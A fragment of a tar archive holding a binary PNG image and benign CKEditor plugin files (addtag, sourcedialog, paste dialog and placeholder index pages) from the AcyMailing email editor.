%IcR_A֬];H*!O'otz}8;qXxUӮ\& dgͮ2壦fZ][CXh0{ZZ^?S+
KJ577)S CFk9l%`e5OSi~a!\YIg46RBYHkNy665¢"}}If-,,NӟsxacuIҾjnnp8i^^p8qn9Ve:EN|ISR-cR$/1vG£2a=%+T$i2*\EEEEEEEE%
_T/P@R.T/P@_hҾh6!^ >3,[F緶[w*2w;ًIE tF}=z9sx^nF}=iUQ\RܜMV?BږzU[4 'bJzBq( ~kN߯aqsyvA	 `T~榛
z< ().<.zc^+).[o?sM M[S^Q]]K/f6G~ox=Z ٺc[?#W}>|榛p̙ǋlog.dLT/$*]cl	M`4 7Q9a\Gp"9dJ	 NMu0{B NB,\BDF\Ɇim$dNX$ I֮'tB>I;SFh?"6}$@҄G._fZ"'`2z۶ +
HQtꫣ3Uhussۙ( ]Պ{4e FnX]Y׀LcRh @KU bL{67c]v<rKrL@Nbt8Jzv"gYw±׀(ƌΩSgC\.?~92;lVtbR)'Ԃ|`E/ATM0[zQ|(iSi)h5a[T?Sʿkilre%_P2u*-u|Z2uj$Ro{ؑ#?nnR#g}µdOڜ=յRg}T2mNΞH~!f `	&ݳ_җw"R&Ao)S2Jыپ#(~w*Q/ Cf5eZ@T/P	_/P@_T/H/PQQQQQQBy0Hq)1 C6ٙ+ቨ/ǗA@˅_}urKALp@plz%8vcƍiş_z5&lr\l`(ۍjP#m QWUW^0 0=#~^xE>_5DC jbD[®a\ODW(DRw|ݭ87zf\C㓧_>V5,|n7RT1Xu'k`6`01|ӦMjYr(Jbj7TijV!NB.SnL06f .HSmil ?xS'N /RV<R4SEW]ÁEXp@-Fͬ\q=tvGf ӉK_>@iD{|ww70<4n{	%f>A@W_G<xdWo|;ߩ(is{;:ywdX< rH OD}<{~UUUevrdDиl%
,W-_^180Μ9`{1nz> 0FZ޾LqC!,;Wo{QR	!1Č)+;99~ E
tf  3$
h(~}4&a 7)S_Rz<VEfC f!fjH8vl_3s ׭ZWVYB\m6rxÇlƬ߬+Ogʳh? YPQVvڕ.lcM6*~4~-JDH)7g̜y`@  $,_$رc/d4>(J@hl(*/H`Ez1!ikB. `$s^h!I#1k Af? H͒ꗅ{s6"DbyD~xn`6-AA|0wg	oQAs2nll|T`͛2hӏŤE᦮P(hy,MDL)>p>b1Q oȆmذaPHoI^/xCMEq5q2ʰx"Qنm:o Hnv?T6*'N*@ք*{yذn$K'"} yea-ic$!!b#*1._l֭[W7H34A}c(lS"GF>
M2c |^/̓(Ñrգ䫀1P߿fKK`<{R !2ęy]]Navd"ս!҆mm v[1UU@)-F 	;f, q@FCpk:c^_&T 
KKQ@oCoosgWƌy|<A	܊
u:?r׻n~$Z>㱶O ΍C>**********Y% !FlwsO%OE\8l=6y){ Nr|p\| p@hJc#NIsMc#NE},X(b_HѠhGGJ !>2AQmHGKR,ORxauLHld& -
Z[{DhpidgO!c #!Bm(Uy<i&Knnk8n\@7pWW_3Z		!;!B2d0imld ׇi31iӔ!D.ϜA X 
MbX***Z^ۛ6m"G9D'PLWT$<tHL%2ϐ-~åJ'6 n!/ęh'r5{	!1KO&j| rۏxxQ1!_P>U3a@24ɮ/i@-/3@\N#yc='8@4x<\=PQtxAg?||E+WCm]ƚXo @]_/P|*.)/ԧ x~)Ps$Pypn -z}A\'TOfaݺuu# ǘ(H>,&	×.AѠ;G#ϼ8^)*s8m82Q̨==-3Ep\ƁN^0.2wq >D]_/PQQQQQQQQ?a ZyS/X0MFbR\Tұ?z#
M^P0"}'Qxh?DB]@ł8CgGQ6"J1v- r$G HnUg8TM?	5' Gs+9v>!c17!-HnStBfVg_D@m jS	qcLmDVQZp@W]/YUf#mW'ZZ B|	qDpСȹJt Zt>v^y_Jɤ=uR^S	<׭>uj IE
¸/1;l`}[[t$}nYyFaĿR,4ĀN8^@ƌO&P*}0.@6(!q+T>ƶ y qѸ?ēENXPTYyBX3e8U׀@EEEEEEEEyh`1  kPXNZ . w[rr++*PZRI&ҥKxG[#.!n+f%>A0w IF  ܭXnhijhhf6jF ?7HO/,`-<w',0a&z}k:L2!2Z7#1 k)w&X,Xh/Zd]$"Z-

@}N}ޒ}ܶ6l|}v J)B<8ä.~@ ft1iD *q}F0Z 4ƪF @׍hG/&4pT"qvb훕H	3`& R:ic#^	
Ҍn
] @h2Q*#m,A1DQFNVXcV	<&4HN;2&< n7F㩅mmm7|S8zl6טVmP6\NyO.+˳X,h4z1449OZg͚U@ץ3R} ̡ݻoǲLmmyA-jA)੻{~2   i B55{{N
 fϦ p5eg˺?O?gcC2~0Ɩ)f$;2s&2sfj"c)gNY,11׌iiussD@ʡ1fP/ /PȖ&
 gT~"W>ƅ#D?]qi&O7q.2B-YYEEEEEEE%+Tu e >V\*	,N-+).qyx xϑWWb'=/[6lКL&PAĝp8nYV  n>޲EbT唕=5kc$NŜV̝3G{雎8qَmZ]qN[Hhsc+yǡUUU`{	 PTXļ(	k!F٢N\MB!BpD\`("7Y	|{*b,lH* >C )}Z@ӤhAiUiHYD^?*b0*;¶x@ES2#"qFq8ޑ THT<#|SӦMkvm۶5Nfh4BӁcń\lM{{'&9s/ڳgϑݔkX,t]^?zc]$0^@=hʔ.:
!| P<H1 >g0jL&h ^j?<ydjQ$cU1t2ټ2m߾}O?0`g=&M+$G%IkƘ3:MB5G,RpL6Ǡxcck^M'+.Sx{/PQQQQQQQQQQ Bu?8KM4%h:u|Fh5>  Oqtx=٫&P@ ~?~|(hLw[.[멧z16a:lm6l7HE}ꩧ^YlYukRNc}{FQ̚5k|)O?xt.]j56n/S~^u >Dٛ,vVVE8{x`]n^j?g!ۖ͝pv#
%/&$؇z=l6GFk]8LwwOٳ1gϦM3gRm PYWG-_NO>'E{-_N+,3ilL4:ܾ N'Bc=
y8N]4B`nTc?B)ŴiZRc6mZHiv;B`pH[O?RYYmh4X,p:X,  ׋Ax08wÇł XqùOlj3:. ڷXX655cl':gODv4/׷ryy}7lx2@ ..@ i _kߺcҲ}i˕WTTҲ}Lܥ(1c'vWWW6L]9994p8h4[npr-Fp8h&zOxb7|(.(Ed#Sajx1v1UQqQKUTTTTTTTTTTTTTTTp>5VԺ%\MCGѣ? iА_cphOAH/Xz5]tiO?_p7Ж3i̙nH/x_YtiתիSgO֭[V^/ظqcZE&7TtZ-֯_8֯_E :] hǶm9srrr",_=Ӟa޽;/h?ŋ=tFKK_PQSC,[6fKi)AeMhG@o0@ 7/ 	ڲ_+rN\rss	i6mZx 8lrY !݌vQw 4ΟQoo̘dlF0߷o%H<BƼYRZYѴm߾m[<.ƘS	Ϝ=16U N+kjnc;Y Q o0nOGث'ifwݰ~2c}|3u:9"pMm-iԩ_)	_  ;-uG/_Nzjw8 ~zn:h"6oަ.Y7']    IDAT?]]]bt9N}RAMD{16T^Qqttݺuzڵtta{r|=	(hN9ŤE 马lAaQqw}|wxMYn ГB	!t.sN*rA#J'Xa9kϟ4i#j幎q5~{w ɓ\fٮ=E'ϩݏUW9y2۷O<w	ǃ6YPXf),3iܹ>/(8:k,lrjXN8^5[ш::`ܱ# 8[t;:c85NJ0O?}[M3)>2no7"G=,1cc'b3ciWQQQQQQQQQMd[ox3I^ d)_tV,]#ĥ%Ů7*58}r1	5~_{z9 hZ(? }򸯼hhX$<|>  |>GECâ#M [.]p~Á@ 3}}8mRG!D.y׎	vt,hR ~No.uƢMM",}>{z<,?"Vo?tRzرcǎ;t[L
ka)%y&)(On`rM2DtR7Vvgn. `ph
y<	wq	<bRA8:
bR_qwqo/.^$!c/r]sB ^yC(`H r0eCw1wa)>g"{NjJ<.tuy\Wnc8|8VPEEEEEEEEEE%+2p`%@Vųϐv$4AZVdkgH_pYc3(	?֑0A@  [{c3$?!wCޯUTTTTTTTTTT>mgy$Y	 DL-\xmۀmp7j;<zLFifchZaj]:ϨT \^/t
Lx=#YI-$ b:_))ǵQ&
 U3?Ix+VI_X x
*哰ubuNbnǉ>ZxL1C[OeAm9Tx1*YSIYK}؋WԔ=2ǃ.ڃiWSj?oFB%1awC^0AN%N\B/\b  cGy?(x\<&ԻʘpdjڒduVfac+wK-lٺ5!~QR h]}P-:m@ Zn^LYI!$},)ikq\drk<ͪ|sgw,)i3,[IZİ_ ϒVПȤ+NFv$0;?0>~鍍nO_R
>R!h4F:oSd;AggBr?#8}dJ;^%dYP$x%`p?;xPTTTTTTTT(٫V\K (Żc &G_zF1*[oibш<(ॗ^y߽+Λn/~oU*m,yCeIW0a	۰8||I8!0$$yf2d 	H Llxf3xwٖ޻vuw&Gu:=8v0:-+ HR1|P
 @iI{TdSJ@)]{ ;	@N8 ?'|; j8IbSJ#TLDbGi'KVNu<Hb9_Ѱ $A$,CePJAAޘ17,nټ1c8-VP A E9@[,M=	*M=aXor:!vo߾v ;o eP喟ZԛZPx<ڵ}}0vGD%N] -.vG,6XCeIÎR
QvgϞk0mF gPb[=xݻw944gA{ڳyCCCؽ{jkewsP`
%Nu_mmʊ+srrrDY)[Sf͒].pIxpѿ|g_%2 Ǆ>RRZvhKk+m孭1MP*ttЖVZWWGqaJiH-Þ	c
ѕG#Y'm_O[!Ɩ&Th᎙33^/vE--RavvxؾiӿXऊFGAO{O*eE$(s+ǁ0[l=ω+Ve}}_s,²X-^,,;ᲾV74<XeXɓ<)޾XVm9VhWPJH&/nhx
<-_4N"Ua\4˲c.Q2|kiNجV0,xMey\e啇NĞ?\,CEVW_YUYytjsÉ'pe{*}ٲ'N+*+/REX[hQ(E>Gﾝ_YƠr W,v=zT|1^bUNwQpIG=ŋ,*p7v<yRuˎ zϦ}B~^sM/BVƫ]vյ\3BA={4˲Xv2/BU!Yv2˲#'\ND X,ᡡPh*! %@Ʀ6>/ xA@?6bJ2H7W3Kv=C,9	x<Wz<YaFRAtmT#͘0a	&۱/d\k"kyQy	T9s'ɔb֭xS=Z  O8~ HmMMc<O1mMM3K/9U@	8iEq"O(tvYca þmXJ)3[ (Np2Y<zu45\P ef|>~?@G}LYiVnʕ+믻@z.OԔQ	 qt˚5r	Eg#D]O8ylϞR*&uw3gRJjJiӃ._t3^8xŷ݄KO;^HK)[LGxJqr;=r K=gxH>F#~
 1/E<#=;5Gߡl&dB/jDiF4[љst:@		{]2,PBZz;7֣ f 5Պ7_y%DCeI5o78 YxFR7 `AdF<S 	R` I[@]сBVjE]a^ <^qqɩ,''"oɬY Ŗo 䕴&Sxu5#$˟$xz$˟{F>G0A8A!nK&^Hl$jE˅Q"ٳ8ul`T9k?13eRY]݈-ꤲF}~	lReUL)Ǣr#w$T#ol9`3f0w rs?PO\nZyÔ-/'NDHҹ**+^[]vVG`XNJTB
@# [-D3 a^&L0a1LL /yv;_03I-nRP(3L935ŔRKz6m4;15?Zٹ@,H !b:!ס
7!"xHr̹s;|8}B^RJ:7vW0	PX,Xb;aky[ ӼBڣ ӼBڝfWH$.v'4~dW0Lgx}DIHɩxcnhX8V 0ԭ'[+xAH-D`Zg'B~?XQ#!. Xcs3M<`V޹3fwƎts,I(cQ[!QSEo4`@aRa } */ hylM^	&L0Q/3;Zn;FU}	Ts
Moe4.q^{ B{K9	\{K+uF|K.)`ˆ6/zMa8Y&&\!`X,}mPJ==!B) x~
R暒k&B8yn|>ʴnk&T45k+{瑣8L% p=֭QDYx?<|馛cGw.]^:3{{|鄠(_ R
s1/&P)|ٳS;00T2"!8.5ß|dȰ}A; V$ھ`!Iq"}0JGܑt'ʾ 3Hvp|啴U흇vN~:''˓Alx#+lyT#iʾx-q]e幫h |;˔&OJKLr:$I	H:A',z"2>oFn'  l6p~? ^<p{y@u^hhi {Ϟ܉l;"%,[ZW[?&	g_W =PeU<~?C zeUA(0 6 za<_(wm{^/Mx?CH/dv:Vrsq#.ĵ/8q4?-ׇ+ vo<~'NOb_HGg"zv"Jkk҆}~lBeUJi"Y`}:<Ӊ1,38{gXrs߯1PU[K-kl|]˖̩SԳB6e6KETW7`:L&L0a41"$|/9w4cWv@QIbb[o]X	MMenwضv3>IӦlް!l_0k40RyRfFO Jwӳ/hnlz%%0/fJKJ:ؘ}ACÉ	%b[NGsB) I5+ƾn<wobɽtFOf8/c}Wx$'*S"e)l_(f_@(>}AGPIX΃*v' Fd_Ԛ,^D\Ft<NgWHFe	fN.?y ^A)
#z	x:^aE*a'L׾@V
+
3,îOI ^A hm]
#@qQ$X^ yxi
׿:aD:``_Pq<Z\,ׇ;](R1oj*+J٥R"08{w̮1$/XX$/`]+kjF+TPv̘|Gڗ+W+W&`	&L0a"x{5
9B,r'-VVZ5m0`9,DP
I
S(/PH~
䤶ѶB
:N	eyy-ZtG
@E=s%|%DSJBN( ?O?( 2^/
ǎ]_ϠlBHBF-P &͛7O$ 6(?YB0{fwYaQxA1c#!d,@̩(=* N GZ9!҈x@ .\`"M)@yMQ]i׋G	!d@޽&s\TXΎwQђ.˵PI.25M:H9p66;p{<u@GUZ\e<σ ޺\JpxI1wA 	0xZw{XLeM@ICmDJ)QQ!AyP~)0ϕyŽ/(؋gq:"n_[T
	q>|^r: ntBE\SUueIil\%D5+kͼSr $7Ʃ±c|)//Oq$ _RjO<`TԤh99f̞HgϖkkwQJR9(rlv:4/nhni.2iBGٳgK{((RJ-WK)= KBK[?czQQ>,BȠO,^G$۝O>t^	!p^[ $IB(Bk[q g WDf(50d E+B N>yȪ͛7wB~@F.Rݠ;QoM:F9rM7/VVV,{ב)gXV_2eJ
>;zY'>e?s!>,XzhWUu];F)=B)C)}RJ/_V4I
VkfpRJ}%''3=)굻(ZWUSVn	&L0wt?;:q3a199
G%5MM++/ݚ9y^
	@uCÊ:ꫮ*Ok/tEKT76J/>S[]0c\ڽparʫWWU1_tb :X65w@ѕ[QW]p㍸}ɒUxU.͛?>#jv=͛G͛΢"i׿+ιsiܹ1}&L`ϝ×na~N(<QQb¨f<UXSs[VY= ~L*ˆ 3v۷35ׇlokC̙KY 1iO-q%(C.c;{|a
P_Qu %qPJ<JYYk.3{la!=.n]F'b}ݾ:50BH8:[vs活\.x~^`.˟Xv/@^n..;w `< 8 !peeέr8E}k0g>ݹ  ++iͶq3aG2_ xuY,wCx1 (y"2,
љ ([YmW|kn_$	mmӹG~}uKSS,oq#'@Hk׬^}X,NeU_OOCy<W%z  IDAT5,CvN֮^==Ȱ,j;:KUłnޚM}V9݉HxlZg`p9>i͚Y	ˋYvo۲eks80!`sv?K܁= KjH)ML~Sr@u#Ln<C-Cz&#6Ű!#6*+~ge|Bӌru)f~(,iuAOI$ږ__&L0a	&RHy ClI'kXB`Zra++N8P9vUR.gA,+ޝ1A1~OyW|ۭAKMYhD9?&U(w-] /BVܳ'%!lB~B)ŋLe*+ۗTyф}<L
ha!,1s1 
xztoK,\HEEq߰crߩ@հK݆s0a
'ЄEBQJ  55ʛU~Bք7d):M<j6++*zԗ/ڼys>H>	&t'$Hluw_=P(?cW2v* >e6%exBn_3oB}>yuE7nb-,ĥst[@/OW ƤP1tntyxc%4lڲW9smٛ D:A)
m9s >ݹz1(5Qp8`ܪ ƻ!AennX,O@EP(,5@5~2'u$	@@}7޸,W(eumm$˯׎m 8v7Ȫ!C۫V}gA_OO ne]_OOb\z[bm'ңޚ,Tkj;:Y{pAEQL>8<Mk>id9֬遁Y Mzjjv'O_()7"tTn  rq3	S	@k<  '-H<X.OWhh1L0a	&LAv#Fu^y~@Л ˲BIa{D!s Å=)%yчd:N3acLcFahh~?F,N'\. vg$]nn.sCCX	;BwO 7lHs06MGЀIEQG	XD&vuQ K7m,J	Qގ.$tj$ːRP	J㤚NRqH[Ezj4)hJGTJaK8xsI:zܟc2$q8Im!D	@ N_#2Ӊ?S@ 8}>ں5hmk |FmI'DP@J3aessJ3\;:( p +̄@$CgB^x1BgBU2dz&dY-bQ
$;jFY|(2VUrXʂ(_iF1B@(% >B$z10 `}^ېe !$G	&L0a	&ҁJ,
 |9j+mߴ (,-]w˗TU[S3IUiӺ:&L?D@;zٞ󳫮P(pMpYu}ͳ{{A	hX,9s++!
BD < kjH31! ²WYa!@?'k dDkX]-MME1!Ų,8,˂2>>N`޽ro$D/͌w&2 '/:F1lܼ+|MO4qNæݵVy>?JYAsS^9<8)ZhkƎm3fl6I>)ZB˲,Oe݃ G_~&T|KCc~vp?`0abhhn>~_+<CyLjoGieY_ QRZY ]ݝ[UUUr`U=*iT$IĽ-[ݻva``:<<$4dggsYYYX,,Ȕ╗_8
 mJp8,
ȑ#صkz2?X,mLvv6lv;>;|t۶bgR['+Vg8<8omj+4ytg

`ʕ x>^z!\'L H=fIUJxQJ_
R7TWWuuIꍥJ͔aJt-7n>qTАt?@)ҳKK=`i	TE)D)ns:SސPJJ)jf {@-;xR..XL)yｯ'O.O:rJQ	䢔י0a	&L0a	:<Eׁ|E+6FmWR[S[uP<sUX_s3cj]	 YBގ˞HD 

oU]_4R# P`VAH9fa7e?B
(^XfÌg0E+T՚[,B!v|ĉ pT -'YYa%ʤA8;wߑ JEcz{ƌqf\7[Zc9z[/9K. T(Dڰ׌rmSNI:>!
axxOdt9()|tR{;Os$	,pUѕߏSNSN]y^ ~:b N8%<DA |z"t1cEEE|Ss3fL=裝a5:<vСCG7l8T_W7[!
bZ'N<U[Yiz8s,'wy{iA+ hnnǍ&2 Bٱ}{;7BH0Է%%Vۍgܹs;hAy kPp' p2(Oc"{<;v>K⟝%UWW|#T"JZ$̚%H&LS%(U
svppy5Uc&ByC>qT1npmQ5 ,q2yuժ͔ fJ6oRɯpN)PJ'/xO>@u*w0-h&L0a	&L0aLLL &_LL	&L0a	&?Gd#2LD?"GtKGd	&L0aF/7X`2Sp6 b"_WhJG0LJQ %	O[p Μ=7:9 	P,˂8Gز~P[⼞nY9;GM/W'Vֆ-7!R@ NL$) 6mJ($Ie!@Iqq(DΊ9zthu8K.VS]nw8r RHе_# D&'I~?v?r}+/,K$Sre	5krL#φ\0U g;Za{F4
afcMyy6 <k2.,OdE]"_|1vCń^}J6bZkӧj/!dotBRe9&?/]Fe$	n|U bԩV }{=:#\,CV6%BPbof.? dPhܩSVA)rrr)@"u|0$ !De&L1u:~S]SC\G;E5?O]KJXN1cvhG׹M+׸a(2BJ0Y]]	!^XPP600SN.pdNa{G0d]Z|H)z>$Iz_8{PJ?y|gF {{Ɲoa`х18p3XiR`(Çv	h>
3$B6]EkjjksGxEO{>N$" +: ;!> K/>TcsÃART@%(-` B8y6.$Q.W$fÙ3s RjJ'^q)~֭-uBhC/M{ur-3{6Qu_ \(R0`8ehj(|<	q]VMhiy *4rZDږ<|aT	ND uQW࢒c#dʊ
'ϗ7}(IC&#_e'fzJK <onQ%28CqO92Wݕokie xc P(fQW1Z4|A ꪖ;fLxjjʒS(s,˰l
qܡG3gΜ 8C~n.ƌ}A  CAAAe|8}4AݍƖNj]!nXM[	!WEo~ӟ-|juƭ-Hg9n?cٲ. B/$H(-UuT<jfEM0a	&LpF$U?$1孹zA)Bԯ~u45^+EH,e4RUA}O"ϣw _hM[$
RNIQSY -M.IWJں4"ep,cY  EQ$:iR+/ SO*
B|sCC~?xAPNc;)wtXVV\IyȔҭ>DA,ݽ )JG in:%u74D q@15748%QpN,ǽGQtΒƶŰZvƔ)*ZF)( X,^BH!Nt1$A\d:\zOڢtmVkvooa Jt*JI6\v2})Q !
=mhX!+++'$tN2H
']rɵ:j궐JFj"++K{JQQV(ۣ`i]uUV|hhK,AŸq/aeYdg7J	Àe45->pM
PаZN_t)Kt:?,˂!EvQ''ԿJTcYg BD ˷-zp?Z,`WAbXNB~?~?ce[xc  !KNv~AAt3ʓT-.
!$CS[Z~PhUpر.)?/eΞ=YmU56SpUͦZ;ܷ/IV(_U>kk{~[>z_p$<EQI,F4IX Q! EjYR<&L0a	&L}h_<j?Iq87ߌLE+]1xn(P $v\c[D)!w#/I>v__tz.eyyd?wVL,?jo`0Qp(;U틆ԓz7
ڻP+e𢈣N7F`  `J1ΞQ Rs`5s|FAUk+jdtC9C~XP(@0YL^BT'7iI5e@ "V9s0a	&L0aD**aF3<'p\ʯ8r0<#x[(ۀHK ;vczlẅ=GbF$ò 3! P}]#F1k{DY{p9X13蛉n+.r|BΎJiATyC"S`|I	lK}R ɘ
t*EQW´<->ٳʨHi	@)$@ҵ Yؑ` |ւv;VJ% iܱ#"M >°f~)R"_$5G!ZB
$iP>΄	&L0a	dxDr/HHYtR ]TyxiSr/0%/j#  #/Pyh$	
	RfpΔ%ӣ NQ3رeKJy2n_"	:]RFc_OႍT׆QLh<~]dԾ@@}	&L0a	&L\dƾ=#OeW F,
)#JoǉZqfg` "fmO"eD|^o ^ tlRG#U> eDL7\h\!噰}tTGHQ<C錂h\(!..T8P#}
i#
{JoGQ(0a	&L0 ~t27    IENDB`                                                                                                                                                                                                                                                                                                                                                                                                                    editors/acyeditor/acyeditor/ckeditor/plugins/addtag/index.html                                      0000705                 00000000054 15242051521 0020663 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <html><body bgcolor="#FFFFFF"></body></html>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    editors/acyeditor/acyeditor/ckeditor/plugins/addtag/plugin.js                                       0000705                 00000001203 15242051521 0020517 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       (function() {
	var a= {
		exec:function(editor){
			if (parent.IeCursorFix)
			{
				parent.IeCursorFix();
			}
			if (parent.SetIgnoreDeselection)
			{
				parent.SetIgnoreDeselection();
			}
			if (parent.FireClick)
			{
				var itemElement = parent.document.getElementById('AcyLienTag');
				parent.FireClick(itemElement);
			}
		}
	},
	b='addtag';
	CKEDITOR.plugins.add(b,{
		init:function(editor){
			editor.addCommand(b,a);
			editor.ui.addButton("addtag",{label:editor.lang.addtag.toolbar,
											icon: this.path + "icon-16-tag.png",
											command:b,
											toolbar: "insert"});
		}
	});
})();
                                                                                                                                                                                                                                                                                                                                                                                             editors/acyeditor/acyeditor/ckeditor/plugins/addtag/icon-16-tag.png                                 0000705                 00000001125 15242051521 0021321 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       PNG

   IHDR         a   gAMA  a   	pHYs  r  r^e[   tEXtSoftware Paint.NET v3.5.100r  IDAT8OSM(DQ?@"%YXPXH^)Sƈ$z0YXPF^XM-F ))YxEa6lFԔ8ón}wν9\{-Pdqæ락ӴRW%s	نqKQ<-bf4FInw
I^,%tI=E"w n1BM 8>"Yviм<pԓl#$ЊZV}>o_kHE5sͣ}{<@Lմs*.)?W*vtfC3D*~S++K\$rP{{j$g#HR@o| p-O*PLw$'bе❍{<4։UdE'oj J47O\P
 z`8mOKRk3+    IENDB`                                                                                                                                                                                                                                                                                                                                                                                                                                           editors/acyeditor/acyeditor/ckeditor/plugins/sourcedialog/index.html                                0000705                 00000000054 15242051521 0022117 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <html><body bgcolor="#FFFFFF"></body></html>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    editors/acyeditor/acyeditor/ckeditor/plugins/sourcedialog/plugin.js                                 0000705                 00000001742 15242051521 0021763 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       /**
 * @license Copyright (c) 2003-2014, CKSource - Frederico Knabben. All rights reserved.
 * For licensing, see LICENSE.md or http://ckeditor.com/license
 */

CKEDITOR.plugins.add( 'sourcedialog', {
	lang: 'en', // %REMOVE_LINE_CORE%
	icons: 'sourcedialog,sourcedialog-rtl', // %REMOVE_LINE_CORE%
	hidpi: true, // %REMOVE_LINE_CORE%

	init: function( editor ) {
		// Register the "source" command, which simply opens the "source" dialog.
		editor.addCommand( 'sourcedialog', new CKEDITOR.dialogCommand( 'sourcedialog' ) );

		// Register the "source" dialog.
		CKEDITOR.dialog.add( 'sourcedialog', this.path + 'dialogs/sourcedialog.js' );

		// If the toolbar is available, create the "Source" button.
		if ( editor.ui.addButton ) {
			editor.ui.addButton( 'Sourcedialog', {
				label: editor.lang.sourcedialog.toolbar,
				command: 'sourcedialog',
				icon: this.path.split("/plugins/")[0] + "/media/com_acymailing/images/editor/sourcedialog.png",
				toolbar: 'mode,10'
			} );
		}
	}
} );
                              editors/acyeditor/acyeditor/ckeditor/plugins/sourcedialog/dialogs/index.html                        0000705                 00000000054 15242051521 0023541 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <html><body bgcolor="#FFFFFF"></body></html>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    editors/acyeditor/acyeditor/ckeditor/plugins/sourcedialog/dialogs/sourcedialog.js                   0000705                 00000001634 15242051521 0024567 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       ﻿/*
 Copyright (c) 2003-2015, CKSource - Frederico Knabben. All rights reserved.
 For licensing, see LICENSE.md or http://ckeditor.com/license
*/
CKEDITOR.dialog.add("sourcedialog",function(a){var b=CKEDITOR.document.getWindow().getViewPaneSize(),e=Math.min(b.width-70,800),b=b.height/1.5,d;return{title:a.lang.sourcedialog.title,minWidth:100,minHeight:100,onShow:function(){this.setValueOf("main","data",d=a.getData())},onOk:function(){function b(f,c){a.focus();a.setData(c,function(){f.hide();var b=a.createRange();b.moveToElementEditStart(a.editable());b.select()})}return function(){var a=this.getValueOf("main","data").replace(/\r/g,""),c=this;
if(a===d)return!0;setTimeout(function(){b(c,a)});return!1}}(),contents:[{id:"main",label:a.lang.sourcedialog.title,elements:[{type:"textarea",id:"data",dir:"ltr",inputStyle:"cursor:auto;width:"+e+"px;height:"+b+"px;tab-size:4;text-align:left;","class":"cke_source"}]}]}});                                                                                                    editors/acyeditor/acyeditor/ckeditor/plugins/clipboard/dialogs/index.html                           0000705                 00000000054 15242051521 0023020 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <html><body bgcolor="#FFFFFF"></body></html>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    editors/acyeditor/acyeditor/ckeditor/plugins/clipboard/dialogs/paste.js                             0000705                 00000006653 15242051521 0022510 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       ﻿/*
 Copyright (c) 2003-2015, CKSource - Frederico Knabben. All rights reserved.
 For licensing, see LICENSE.md or http://ckeditor.com/license
*/
CKEDITOR.dialog.add("paste",function(c){function h(a){var b=new CKEDITOR.dom.document(a.document),f=b.getBody(),d=b.getById("cke_actscrpt");d&&d.remove();f.setAttribute("contenteditable",!0);if(CKEDITOR.env.ie&&8>CKEDITOR.env.version)b.getWindow().on("blur",function(){b.$.selection.empty()});b.on("keydown",function(a){var a=a.data,b;switch(a.getKeystroke()){case 27:this.hide();b=1;break;case 9:case CKEDITOR.SHIFT+9:this.changeFocus(1),b=1}b&&a.preventDefault()},this);c.fire("ariaWidget",new CKEDITOR.dom.element(a.frameElement));
b.getWindow().getFrame().removeCustomData("pendingFocus")&&f.focus()}var e=c.lang.clipboard;c.on("pasteDialogCommit",function(a){a.data&&c.fire("paste",{type:"auto",dataValue:a.data})},null,null,1E3);return{title:e.title,minWidth:CKEDITOR.env.ie&&CKEDITOR.env.quirks?370:350,minHeight:CKEDITOR.env.quirks?250:245,onShow:function(){this.parts.dialog.$.offsetHeight;this.setupContent();this.parts.title.setHtml(this.customTitle||e.title);this.customTitle=null},onLoad:function(){(CKEDITOR.env.ie7Compat||
CKEDITOR.env.ie6Compat)&&"rtl"==c.lang.dir&&this.parts.contents.setStyle("overflow","hidden")},onOk:function(){this.commitContent()},contents:[{id:"general",label:c.lang.common.generalTab,elements:[{type:"html",id:"securityMsg",html:'<div style="white-space:normal;width:340px">'+e.securityMsg+"</div>"},{type:"html",id:"pasteMsg",html:'<div style="white-space:normal;width:340px">'+e.pasteMsg+"</div>"},{type:"html",id:"editing_area",style:"width:100%;height:100%",html:"",focus:function(){var a=this.getInputElement(),
b=a.getFrameDocument().getBody();!b||b.isReadOnly()?a.setCustomData("pendingFocus",1):b.focus()},setup:function(){var a=this.getDialog(),b='<html dir="'+c.config.contentsLangDirection+'" lang="'+(c.config.contentsLanguage||c.langCode)+'"><head><style>body{margin:3px;height:95%}</style></head><body><script id="cke_actscrpt" type="text/javascript">window.parent.CKEDITOR.tools.callFunction('+CKEDITOR.tools.addFunction(h,a)+",this);<\/script></body></html>",f=CKEDITOR.env.air?"javascript:void(0)":CKEDITOR.env.ie?
"javascript:void((function(){"+encodeURIComponent("document.open();("+CKEDITOR.tools.fixDomain+")();document.close();")+'})())"':"",d=CKEDITOR.dom.element.createFromHtml('<iframe class="cke_pasteframe" frameborder="0"  allowTransparency="true" src="'+f+'" role="region" aria-label="'+e.pasteArea+'" aria-describedby="'+a.getContentElement("general","pasteMsg").domId+'" aria-multiple="true"></iframe>');d.on("load",function(a){a.removeListener();a=d.getFrameDocument();a.write(b);c.focusManager.add(a.getBody());
CKEDITOR.env.air&&h.call(this,a.getWindow().$)},a);d.setCustomData("dialog",a);a=this.getElement();a.setHtml("");a.append(d);if(CKEDITOR.env.ie){var g=CKEDITOR.dom.element.createFromHtml('<span tabindex="-1" style="position:absolute" role="presentation"></span>');g.on("focus",function(){setTimeout(function(){d.$.contentWindow.focus()})});a.append(g);this.focus=function(){g.focus();this.fire("focus")}}this.getInputElement=function(){return d};CKEDITOR.env.ie&&(a.setStyle("display","block"),a.setStyle("height",
d.$.offsetHeight+2+"px"))},commit:function(){var a=this.getDialog().getParentEditor(),b=this.getInputElement().getFrameDocument().getBody(),c=b.getBogus(),d;c&&c.remove();d=b.getHtml();setTimeout(function(){a.fire("pasteDialogCommit",d)},0)}}]}]}});                                                                                     editors/acyeditor/acyeditor/ckeditor/plugins/clipboard/index.html                                   0000705                 00000000054 15242051521 0021376 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <html><body bgcolor="#FFFFFF"></body></html>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    editors/acyeditor/acyeditor/ckeditor/plugins/tabletools/dialogs/index.html                          0000705                 00000000054 15242051521 0023231 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <html><body 